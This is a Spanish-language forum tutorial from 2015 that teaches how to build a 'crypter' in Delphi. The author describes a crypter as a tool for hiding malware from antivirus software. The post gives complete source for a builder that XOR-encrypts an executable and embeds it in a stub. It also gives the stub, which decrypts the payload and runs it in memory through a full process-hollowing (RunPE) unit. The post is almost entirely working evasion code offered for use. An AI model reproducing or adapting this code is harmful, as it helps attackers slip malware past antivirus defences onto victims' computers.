elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  [Delphi] Creacion de un Crypter		0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Delphi] Creacion de un Crypter  (Leído 3,197 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Delphi] Creacion de un Crypter
« en: 12 Abril 2015, 21:54 pm »
[Titulo] : Creacion de un Crypter
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del Builder
0x03 : Creacion del Stub
0x04 : Probando el Crypter
0x05 : Creditos

-- =================--------

0x01 : Introduccion

Un crypter es un programa para ocultar malware para que no sea detectado y eliminado por los antivirus , en este manual aprenderemos a hacer un cryper en Delphi 7.
Solo les voy a enseñar como hacerlo , les voy avisando que no sera FUD y lo hago solo en Delphi 7 por varias razones ya que Delphi XE2 me daba muchos errores en este tema.

Empecemos ... 

0x02 : Creacion del Builder

Para empezar cargamos Delphi 7 y nos vamos "File->New->Application" como en la siguiente imagen :



Despues agregamos los siguientes elementos al formulario :

* 1 Edit (En Standard)
* 2 Botones (En Standard)
* 1 OpenDialog (En Dialogs)

El Edit contendra la ruta del archivo a cifrar , el primer boton sera para buscar el archivo , el segundo boton para cifrar el archivo y finalmente el OpenDialog lo usaremos para que el usuario pueda seleccionar el archivo.

Entonces al primer boton lo ponemos al lado del Edit1 y le ponemos de texto al boton : "Load" , el segundo boton viene abajo del Edit1 y le ponemos de texto "Encrypt"

Tambien si quieren pueden poner un titulo al Form desde la opcion de "Caption" del formulario , en mi caso pongo "Crypter".

El formulario les deberia quedar asi :



Entonces hacemos doble click en el boton "Load" y ponemos el siguiente codigo :

Código
  1. procedure TForm1.Button1Click(Sender: TObject);
  2. begin
  3.   if OpenDialog1.Execute then // Abrimos el OpenDialog para insertar la ruta
  4.   // del archivo a cifrar
  5.   begin
  6.     Edit1.Text := OpenDialog1.FileName; // Establecemos el texto de Edit1 con
  7.     // la ruta del archivo marcado en el openDialog1
  8.   end;
  9. end;
  10.  

Ahora hacemos doble click en el boton "Encrypt" y ponemos el siguiente codigo :

Código
  1. procedure TForm1.Button2Click(Sender: TObject);
  2. var
  3.   codigo: string; // Declaramos la variable "codigo" como string
  4.   key: integer; // Declaramos la variable "key" como integer
  5.   separador: string; // Declaramos la variable "separador" como string
  6.   linea: string; // Declaramos la variable "linea" como string
  7. begin
  8.  
  9.   separador := '-barra-';
  10.   // Establecemos el valor que tendra la variable "separador"
  11.   key := 123; // Establecemos el valor de la variable "key" como 123
  12.  
  13.   codigo := xor_now(leer_archivo(Edit1.Text), key);
  14.   // Leemos el archivo que hay en
  15.   // la caja de texto y ciframos con XOR el contenido usando una key
  16.  
  17.   CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' + 'stub.exe'),
  18.     Pchar(ExtractFilePath(Application.ExeName) + '/' + 'done.exe'), True);
  19.   // Copiamos el stub.exe con el nombre de done.exe
  20.  
  21.   linea := separador + codigo + separador + IntToStr(key) + separador;
  22.   // Establecemos
  23.   // la variable "linea" con el valor de contenido del archivo cifrado con
  24.   // XOR y la key del cifrado XOR
  25.  
  26.   escribir_datos('done.exe', '-acatoy1-', '-acatoy2-', linea); // Escribimos
  27.   // los datos en el ejecutable done.exe marcando los delimtiadores "acatoy" y
  28.   // tambien ponemos el valor de la variable "linea"
  29.  
  30.   ShowMessage('Done');
  31.  
  32. end;
  33.  

El codigo les deberia quedar algo asi :



Para poder usar este codigo debemos crear una Unit llendo a "File->New->Unit" como en la siguiente imagen :



Una vez creada pongan el siguiente codigo :

Código
  1. // Unit : Tools for Crypter
  2. // Coded By Doddy Hackman in the year 2015
  3. // Credits : Based on OP Crypter By Xash
  4. // Thanks to Xash
  5.  
  6. unit tools;
  7.  
  8. interface
  9.  
  10. uses SysUtils, Windows;
  11.  
  12. function leer_datos(archivo, delimitador1, delimitador2: string): string;
  13. function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
  14.  
  15. function leer_archivo(archivo_a_leer: String): AnsiString;
  16. function xor_now(texto: string; clave: integer): string;
  17.  
  18. implementation
  19.  
  20. function xor_now(texto: string; clave: integer): string;
  21. var
  22.   numero: integer; // Establecemos la variable "numero" como integer
  23.   contenido: string; // Establecemos la variable "contenido" como string
  24. begin
  25.   contenido := ''; // Vaciamos el contenido de la variable "contenido"
  26.   for numero := 1 to Length(texto) do // Realizamos un for empezando por 1 hasta
  27.   // la longitud de la variable "texto"
  28.   begin
  29.     contenido := contenido + Char(integer(texto[numero]) xor clave);
  30.     // ciframos los datos
  31.     // con XOR
  32.   end;
  33.   Result := contenido; // Devolvemos el resultado de la funcion como el valor
  34.   // de la variable "contenido"
  35. end;
  36.  
  37. function leer_archivo(archivo_a_leer: String): AnsiString;
  38. var
  39.   archivo: File; // Declaramos la variable "archivo" como File
  40.   tipo: Byte; // Declaramos la variable "tipo" como Byte
  41. begin
  42.   tipo := FileMode; // Establecemos el FileMode para abrir el archivo
  43.   try
  44.     FileMode := 0; // Establecemos como "0" el FileMode
  45.     AssignFile(archivo, archivo_a_leer); // Abrirmos el archivo
  46. {$I-}
  47.     Reset(archivo, 1); // Leemos el archivo desde la primera linea
  48. {$I+}
  49.     if IoResult = 0 then // Si IoResult es 0 ...
  50.       try
  51.         SetLength(Result, FileSize(archivo)); // Establecemos la longitud la
  52.         // variable "Result" como la longitud del archivo
  53.         if Length(Result) > 0 then
  54.         // Si la longitud del resultado es mayor a 0 ...
  55.         begin
  56. {$I-}
  57.           BlockRead(archivo, Result[1], Length(Result)); // Leemos los datos
  58. {$I+}
  59.           if IoResult <> 0 then // Si es distinto a 0 ..
  60.             Result := '';
  61.         end;
  62.       finally
  63.         CloseFile(archivo); // Cerramos el archivo
  64.       end;
  65.   finally
  66.     FileMode := tipo; // Declaramos la variable FileMode como la variable "tipo"
  67.   end;
  68. end;
  69.  
  70. function leer_datos(archivo, delimitador1, delimitador2: string): string;
  71.  
  72. var
  73.   contenido: string; // Declaramos la variable "contenido" como string
  74.   limite: integer; // Declaramos la variable "limite" como integer
  75.   dividiendo: integer; // Declaramos la variable "dividiendo" como integer
  76.   dividiendo2: integer; // Declaramos la variable "dividiendo2" como integer
  77.   dividiendo3: integer; // Declaramos la variable "dividiendo3" como integer
  78.   dividiendo4: integer; // Declaramos la variable "dividiendo4" como integer
  79.   control1: integer; // Declaramos la variable "control1" como integer
  80.   control2: integer; // Declaramos la variable "control2" como integer
  81.   suma: integer; // Declaramos la variable "suma" como integer
  82.   numero: integer; // Declaramos la variable "numero" como integer
  83.   suma_inicial_1: integer; // Declaramos la variable suma_inicial_1 como integer
  84.   suma_inicial_2: integer; // Declaramos la variable suma_inicial_2 como integer
  85.   suma_casi_1: integer; // Declaramos la variable suma_casi_1 como integer
  86.   suma_casi_2: integer; // Declaramos la variable suma_casi_2 como integer
  87.   resultado: string; // Declaramos la variable "resultado" como string
  88.   contenido_final: string;
  89.   // Declaramos la variable "contenido_final" como string
  90. begin
  91.  
  92.   if (FileExists(archivo)) then // Si existe el archivo ...
  93.   begin
  94.     contenido := leer_archivo(archivo); // Leemos el archivo y guardamos todo
  95.     // en la variable "contenido"
  96.  
  97.     suma_inicial_1 := Length(delimitador1);
  98.     // Calculamos la longitud de la variable
  99.     // "delimitador1"
  100.  
  101.     suma_inicial_2 := Length(contenido);
  102.     // Calculamos la longitud de la variable
  103.     // "contenido"
  104.  
  105.     suma := Pos(delimitador1, contenido) + suma_inicial_1;
  106.     // Calculamos la posicion del
  107.     // "delimitador" en la variable "contenido"
  108.  
  109.     dividiendo := suma_inicial_2 - suma;
  110.     // Restamos las variables "suma_inicial_2"
  111.     // y "suma"
  112.       dividiendo2 := suma_inicial_2 - dividiendo;
  113.     // Restamos las variables "suma_inicial_2"
  114.     // y "dividiendo"
  115.  
  116.     contenido := Copy(contenido, dividiendo2, suma_inicial_2);
  117.     // Copiamos las variables y las guardmamos en "contenido"
  118.  
  119.     suma_casi_1 := Pos(delimitador1, contenido);
  120.     // Calculamos la posicion de "delimitador1"
  121.     // en la variable "contenido"
  122.     suma_casi_2 := suma_casi_1 + suma_inicial_1;
  123.     // Sumamos las variables "suma_casi_1"
  124.     // y "suma_inicial_1"
  125.  
  126.     control1 := Pos(delimitador2, contenido) - suma_casi_2;
  127.     // Calculamos la posicion
  128.     // de "delimitador2" en la variable "contenido" y lo restamos con "suma_casi_2"
  129.  
  130.     control2 := control1 - 1; // Restamos en uno la variable "control1"
  131.  
  132.     for numero := 0 to control2 do
  133.     // Realizamos un for usando desde 0 hasta el valor
  134.     // de la variable "control2"
  135.     begin
  136.       dividiendo3 := suma_inicial_1 + numero;
  137.       // Sumamos la variables varibles "suma_inicial_1"
  138.       // y "numero"
  139.       dividiendo4 := Pos(delimitador1, contenido) + dividiendo3;
  140.       // Calculamos la posicion de "delimitador1" en la variable
  141.       // "contenido"
  142.       contenido_final := contenido[dividiendo4]; // "Usamos la posicion que esta
  143.       // en la variable "dividiendo4" para acceder a cierta posicion de la variable
  144.       // "contenido"
  145.       resultado := resultado + contenido_final;
  146.       // Sumamos las variables "resultado" y
  147.       // "contenido_final"
  148.     end;
  149.  
  150.     if resultado = '' then // Si la variable "resultado" esta vacia ...
  151.     begin
  152.       resultado := 'Error'; // Mostramos "Error" en la variable "resultado"
  153.     end
  154.     else
  155.     begin
  156.       Result := resultado; // De lo contrario mostramos el contenido de la
  157.       // variable "resultado" en resultado de la funcion
  158.     end;
  159.   end
  160.   else
  161.   begin
  162.     Result := 'Error'; // De lo contrario mostramos "Error" en el resultado de
  163.     // la funcion
  164.   end;
  165. end;
  166.  
  167. function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
  168. var
  169.   abriendo_archivo: TextFile; // Declaramos la variable "abriendo_archivo" como
  170.   // TextFile
  171. begin
  172.   if (FileExists(ruta)) then // Si el archivo de la variable "ruta" existe ...
  173.   begin
  174.     AssignFile(abriendo_archivo, ruta); // Abrimos el archivo de la variable
  175.     // "ruta"
  176.     Append(abriendo_archivo); // Empezamos a leer el archivo desde la variable
  177.     // "abriendo_archivo"
  178.     try
  179.       begin
  180.         WriteLn(abriendo_archivo, delimitador1 + texto + delimitador2);
  181.         // Escribimos los datos
  182.         // de las variables "delimitador1,"texto","delimitador2"
  183.       end
  184.     finally
  185.       begin
  186.         CloseFile(abriendo_archivo); // Cerramos el archivo desde la variable
  187.         // "abriendo_archivo"
  188.       end;
  189.       Result := True; // Devolvemos "True" como resultado de la funcion
  190.     end;
  191.   end
  192.   else
  193.   begin
  194.     Result := False; // De lo contrario devolvemos "False" como resultado de la
  195.     // funcion
  196.   end;
  197.  
  198. end;
  199.  
  200. end.
  201.  
  202. // The End ?
  203.  

Y para terminar la Unit guardenla con el nombre de "tools".

Les deberia quedar algo asi :



Para conectar el formulario con la Unit debemos ir a los "uses" que estan al inicio del codigo del formulario y agregar "tools" al final , quedando asi :

Código
  1. uses
  2.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  3.   Dialogs, StdCtrls,tools;
  4.  

Para finalizar guardamos el proyecto como "builder" y con esto ya terminamos el builder.

0x03 : Creacion del Stub

Para empezar tenemos que crear un proyecto en el mismo directorio que el del builder , pero esta vez tiene que ser un programa consola , para eso nos vamos a "File->New->Other" y despues en la ventana que viene seleccionamos "Console Application" , con imagenes seria asi :





Ahora deben agregar el unit "uExecFromMem" que es el Runpe hecho por steve10120 , para crear el Unit vamos a "File->New->Unit" como en la siguiente imagen :



Una vez creado ponemos el siguiente codigo :

Código
  1. { uExecFromMem
  2.  
  3.   Author: steve10120
  4.   Description: Run an executable from another's memory.
  5.   Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().
  6.   Reference: http://www.security.org.sg/code/loadexe.html
  7.   Release Date: 26th August 2009
  8.   Website: http://ic0de.org
  9.   History: First try
  10.  
  11.   Additions by testest 15th July 2010:
  12.     - Parameter support
  13.     - Win7 x64 support
  14. }
  15.  
  16. unit uExecFromMem;
  17.  
  18. interface
  19.  
  20. uses Windows;
  21.  
  22. function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD;
  23.  
  24. implementation
  25.  
  26. function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
  27.  
  28. type
  29.   PImageBaseRelocation = ^TImageBaseRelocation;
  30.   TImageBaseRelocation = packed record
  31.      VirtualAddress: DWORD;
  32.      SizeOfBlock: DWORD;
  33.   end;
  34.  
  35. procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
  36. var
  37.   l_i: Cardinal;
  38.   l_codebase: Pointer;
  39.   l_relocation: PImageBaseRelocation;
  40.   l_dest: Pointer;
  41.   l_relInfo: ^Word;
  42.   l_patchAddrHL: ^DWord;
  43.   l_type, l_offset: integer;
  44. begin
  45.   l_codebase := f_module;
  46.   if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
  47.   begin
  48.     l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
  49.     while l_relocation.VirtualAddress > 0 do
  50.     begin
  51.       l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
  52.       l_relInfo := Pointer(Cardinal(l_relocation) + 8);
  53.       for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
  54.       begin
  55.         l_type := (l_relInfo^ shr 12);
  56.         l_offset := l_relInfo^ and $FFF;
  57.         if l_type = 3 then
  58.         begin
  59.           l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
  60.           l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
  61.         end;
  62.         inc(l_relInfo);
  63.       end;
  64.       l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
  65.     end;
  66.   end;
  67. end;
  68.  
  69. function AlignImage(pImage:Pointer):Pointer;
  70. var
  71.   IDH:          PImageDosHeader;
  72.   INH:          PImageNtHeaders;
  73.   ISH:          PImageSectionHeader;
  74.   i:            WORD;
  75. begin
  76.   IDH := pImage;
  77.   INH := Pointer(Integer(pImage) + IDH^._lfanew);
  78.   GetMem(Result, INH^.OptionalHeader.SizeOfImage);
  79.   ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
  80.   CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
  81.   for i := 0 to INH^.FileHeader.NumberOfSections - 1 do
  82.   begin
  83.     ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);
  84.     CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
  85.   end;
  86. end;
  87.  
  88. function Get4ByteAlignedContext(var Base: PContext): PContext;
  89. begin
  90.   Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);
  91.   Result := Base;
  92.   if Base <> nil then
  93.     while ((DWORD(Result) mod 4) <> 0) do
  94.       Result := Pointer(DWORD(Result) + 1);
  95. end;
  96.  
  97. function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD;
  98. var
  99.   PI:           TProcessInformation;
  100.   SI:           TStartupInfo;
  101.   CT:           PContext;
  102.   CTBase:       PContext;
  103.   IDH:          PImageDosHeader;
  104.   INH:          PImageNtHeaders;
  105.   dwImageBase:  DWORD;
  106.   pModule:      Pointer;
  107.   dwNull:       DWORD;
  108. begin
  109.   if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams;
  110.  
  111.   Result := 0;
  112.   IDH := pFile;
  113.   if IDH^.e_magic = IMAGE_DOS_SIGNATURE then
  114.   begin
  115.     INH := Pointer(Integer(pFile) + IDH^._lfanew);
  116.     if INH^.Signature = IMAGE_NT_SIGNATURE then
  117.     begin
  118.       FillChar(SI, SizeOf(TStartupInfo), #0);
  119.       FillChar(PI, SizeOf(TProcessInformation), #0);
  120.       SI.cb := SizeOf(TStartupInfo);
  121.       if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
  122.       begin
  123.         CT := Get4ByteAlignedContext(CTBase);
  124.         if CT <> nil then
  125.         begin
  126.           CT.ContextFlags := CONTEXT_FULL;
  127.           if GetThreadContext(PI.hThread, CT^) then
  128.           begin
  129.             ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);
  130.             if dwImageBase = INH^.OptionalHeader.ImageBase then
  131.             begin
  132.               if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then
  133.                 pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  134.               else
  135.                 pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  136.             end
  137.             else
  138.               pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  139.             if pModule <> nil then
  140.             begin
  141.               pFile := AlignImage(pFile);
  142.               if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then
  143.               begin
  144.                 PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
  145.                 INH^.OptionalHeader.ImageBase := DWORD(pModule);
  146.                 CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);
  147.               end;
  148.               WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);
  149.               WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);
  150.               CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;
  151.               SetThreadContext(PI.hThread, CT^);
  152.               ResumeThread(PI.hThread);
  153.               Result := PI.hThread;
  154.             end;
  155.           end;
  156.           VirtualFree(CTBase, 0, MEM_RELEASE);
  157.         end;
  158.         if Result = 0 then
  159.           TerminateProcess(PI.hProcess, 0);
  160.       end;
  161.     end;
  162.   end;
  163. end;
  164.  
  165. end.
  166.  

Para terminar guardamos la Unit como "uExecFromMem" y el codigo nos quedaria algo asi :



Ahora tenemos que agregar los siguientes "uses" al codigo del Stub :

Código
  1. uses
  2.   SysUtils, StrUtils, Windows, uExecFromMem, tools;
  3.  

Despues borren el "{$APPTYPE CONSOLE}" al inicio del codigo para que no se vea la consola al cargar el Stub.

Ahora debemos agregar el siguiente codigo que nos servira para usar arrays en el Stub.

El codigo :

Código
  1. type
  2.   otro_array = array of string;
  3.   // Declaramos el tipo "otro_array" como array of string
  4.  

Despues tenemos que agregar la siguiente funcion para manejar los arrays y los datos del Stub.

El codigo :

Código
  1. procedure regex2(texto: string; separador: string; var resultado: otro_array);
  2. // Thanks to ecfisa for the help
  3. var
  4.   numero1: integer; // Declaramos la variable "numero1" como integer
  5.   numero2: integer; // Declaramos la variable "numero2" como integer
  6. begin
  7.   texto := texto + separador; // Concatenamos la variable "texto" y "separador"
  8.   numero2 := Pos(separador, texto); // Calculamos la posicion de "separador" en
  9.   // la variable "texto"
  10.   numero1 := 1; // Establecemos la variable "numero1" como "1"
  11.   while numero1 <= numero2 do
  12.   // Mientras "numero1" sea menor o igual a "numero2" ...
  13.   begin
  14.     SetLength(resultado, Length(resultado) + 1);
  15.     // Establecemos la longitud de resultado
  16.     // a la longitud de la variable "resultado" mas "1"
  17.     resultado[High(resultado)] := Copy(texto, numero1, numero2 - numero1);
  18.     // Establecemos la variable "resultado" como la copia de las variables "texto",
  19.     // "numero1" y la resta de las variables "numero2" y "numero1"
  20.     numero1 := numero2 + Length(separador);
  21.     // Establecemos la variable "numero1" como
  22.     // la suma de la variable "numero2" y la longitud de ña variable "separador"
  23.     numero2 := PosEx(separador, texto, numero1); // Calculamos la posicion de de
  24.     // "separador" en el variable "texto"
  25.   end;
  26. end;
  27.  

Ahora agregamos el siguiente codigo entre el begin principal.

El codigo :

Código
  1. var
  2.   todo: string; // Declaramos la variable "todo" como string
  3.   codigo: string; // Declaramos la variable "codigo" como string
  4.   key: string; // Declaramos la variable "key" como string
  5.   datos: otro_array; // Declaramos la variable "datos" como otro_array
  6.  
  7. begin
  8.  
  9.   todo := leer_datos(paramstr(0), '-acatoy1-', '-acatoy2-'); // Leemos los datos
  10.   // del ejecutable mismo usando los delimitadores "-acatoy1-" y "-acatoy2-"
  11.  
  12.   regex2(todo, '-barra-', datos);
  13.   // Separamos los delimitadores que estan separados
  14.   // por "-barra-" en la variable "todo"
  15.  
  16.   key := datos[2];
  17.   // Establecemos como "key" la segunda posicion del array "datos"
  18.   codigo := datos[1];
  19.   // Establecemos como "codigo" la primera posicion del array
  20.   // "datos"
  21.  
  22.   codigo := xor_now(codigo, StrToInt(key)); // Establecemos como "codigo"
  23.   // la encriptacion XOR del contenido de la variable "codigo" usando la key y lo
  24.   // guardamos en la variable "codigo"
  25.  
  26.   ExecuteFromMem(paramstr(0), '', Pchar(codigo));
  27.   // Ejecutamos el codig en memoria
  28.   // usando la funcion "ExecuteFromMem"
  29.  
  30. end.
  31.  

Una imagen de como deberia quedarles el codigo :



Para terminar guardamos el proyecto como "stub" y podriamos dar por terminado este corto capitulo.

0x04 : Probando el Crypter

Para probar el Crypter vamos a probarlo con una copia del programa mismo para cifrar , entonces hacemos una copia del builder y cargamos el builder principal para despues hacer click en el boton "Load" y seleccionar la copia del builder , despues hacemos click en "Encrypt" , si todo sale bien les va a aparecer un mensaje que dice "Done" , entonces veremos que el builder nos genero un ejecutable llamado "done.exe" , ese es el programa cifrado , simplemente lo abrimos y veremos el builder cifrado.

Unas imagenes :









Con ven el Crypter funciona correctamente.

0x05 : Creditos

OP Crypter by Xash.
uExecFromMem by steve10120 - fixed for Win7x64 by testest.

Eso seria todo.

--========--
  The End ?
--========--

Version PDF.

Version en VideoTutorial :

En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Delphi] Creacion de un Server Builder « 1 2 »
Programación General 		BigBear 11 5,960 Último mensaje 17 Julio 2013, 13:16 pm
por OmarHack
[Delphi] Creacion de un Joiner
Programación General 		BigBear 0 1,909 Último mensaje 29 Agosto 2013, 01:16 am
por BigBear
[Delphi] Creacion de un Keylogger
Análisis y Diseño de Malware 		BigBear 5 6,080 Último mensaje 12 Octubre 2014, 03:49 am
por Fabian994
[Delphi] Creacion de un IRC Bot
Análisis y Diseño de Malware 		BigBear 0 3,361 Último mensaje 24 Septiembre 2013, 21:37 pm
por BigBear
[Delphi] DH Crypter 1.0
Programación General 		BigBear 1 2,036 Último mensaje 12 Noviembre 2016, 19:08 pm
por Borito30
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines